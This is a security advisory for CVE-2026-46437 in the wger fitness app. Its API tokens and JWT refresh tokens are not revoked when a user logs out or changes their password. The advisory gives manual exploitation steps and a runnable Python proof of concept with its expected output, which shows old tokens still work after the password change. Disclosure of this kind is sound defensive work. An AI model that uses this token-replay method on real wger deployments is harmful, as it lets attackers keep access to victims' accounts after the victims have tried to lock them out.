PT-2026-107515 · Pypi+1 · Wger
CVE-2026-46437
·
Published
2026-10-07
·
Updated
2026-10-07
CVSS v3.1
4.8
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N |
Summary
A vulnerability exists in the authentication/session lifecycle of
wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).
lifecycle events do not revoke these credentials:- Logout (
/user/logout) only clears the Django session cookie viadjango logout()and does not revoke API tokens. - Password change updates the password hash, but does not revoke:
- existing DRF tokens stored in
authtoken token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.
Vulnerable Files
wger/wger/core/views/user.py(logout implementation)wger/settings/settings global.py(DRF auth configuration, SimpleJWT defaults)wger/settings/main.py(commonly used production defaults for JWT lifetimes)wger/wger/utils/api token.py(authtoken rotation is manual only)
PoC (Proof of Concept)
Manual Exploitation Steps
- Create a user account.
- Obtain a JWT refresh token:
POST /api/v2/tokenwith username/password.
- Obtain a DRF token (API key):
- use
/user/api-key(or create token via admin/DB in a test environment).
- Change password:
POST /<lang>/user/password/changewithold password,new password1,new password2.
- Prove token replay:
- Call a private endpoint using the old DRF token (should still return
200). - Call
POST /api/v2/token/refreshusing the old refresh token (should still return200and a new access token).
Automation PoC (Python)
Copy/paste runnable PoC (Django in-process test client; no dev server required):
python
import json
import os
def main() -> None:
"""
PoC for IDENTITY-VULN-01:
Proves that password change does not revoke:
- DRF authtoken (Authorization: Token <key>)
- JWT refresh tokens (still mint access tokens)
This PoC runs entirely in-process using Django's test client + DRF APIClient.
It does not require running the dev server.
"""
os.environ.setdefault("DJANGO SETTINGS MODULE", "settings.main")
# Ensure we use the local sqlite DB path used during setup
os.environ.setdefault("DJANGO DB DATABASE", "db.sqlite3")
os.environ.setdefault("DJANGO MEDIA ROOT", "media")
import django
django.setup()
from django.conf import settings
from django.contrib.auth.models import User
from django.test import Client
from rest framework.authtoken.models import Token
from rest framework.test import APIClient
username = "pwchange user poc"
old pw = "OldPassw0rd!"
new pw = "NewPassw0rd!"
# Create a clean user + DRF token
User.objects.filter(username=username).delete()
user = User.objects.create user(username=username, password=old pw)
Token.objects.filter(user=user).delete()
drf token = Token.objects.create(user=user).key
api = APIClient()
# Obtain JWT tokens with old password (proof baseline)
r obtain = api.post("/api/v2/token", {"username": username, "password": old pw}, format="json")
refresh = getattr(r obtain, "data", {}).get("refresh")
# Change password through the actual password change endpoint
web = Client()
web.force login(user)
r pw = web.post(
"/en/user/password/change",
data={"old password": old pw, "new password1": new pw, "new password2": new pw},
follow=False,
)
# Old password should fail now (sanity check)
r obtain old = api.post(
"/api/v2/token",
{"username": username, "password": old pw},
format="json",
)
# New password should work
r obtain new = api.post(
"/api/v2/token",
{"username": username, "password": new pw},
format="json",
)
# DRF token remains valid (private endpoint still accessible)
api.credentials(HTTP AUTHORIZATION=f"Token {drf token}")
r drf = api.get("/api/v2/weightentry/")
# Old refresh remains valid (still mints a new access token)
api.credentials()
r refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")
out = {
"jwt refresh lifetime seconds": int(settings.SIMPLE JWT["REFRESH TOKEN LIFETIME"].total seconds()),
"jwt access lifetime seconds": int(settings.SIMPLE JWT["ACCESS TOKEN LIFETIME"].total seconds()),
"jwt obtain oldpw before change": r obtain.status code,
"password change status": r pw.status code,
"jwt obtain oldpw after change": r obtain old.status code,
"jwt obtain newpw after change": r obtain new.status code,
"drf token private api after change": r drf.status code,
"jwt refresh with old refresh after change": r refresh.status code,
"jwt refresh response keys": sorted(list(getattr(r refresh, "data", {}).keys())),
}
print(json.dumps(out, indent=2))
if name == " main ":
main()Expected output (example from a successful run):
json
{
"jwt refresh lifetime seconds": 86400,
"jwt access lifetime seconds": 900,
"jwt obtain oldpw before change": 200,
"password change status": 302,
"jwt obtain oldpw after change": 401,
"jwt obtain newpw after change": 200,
"drf token private api after change": 200,
"jwt refresh with old refresh after change": 200,
"jwt refresh response keys": [
"access"
]
}Impact
A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid.
If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.
- Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
- Integrity: attacker can perform any API mutations permitted to the victim’s account.
Fix
Improper Authentication
Insufficient Session Expiration
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Wger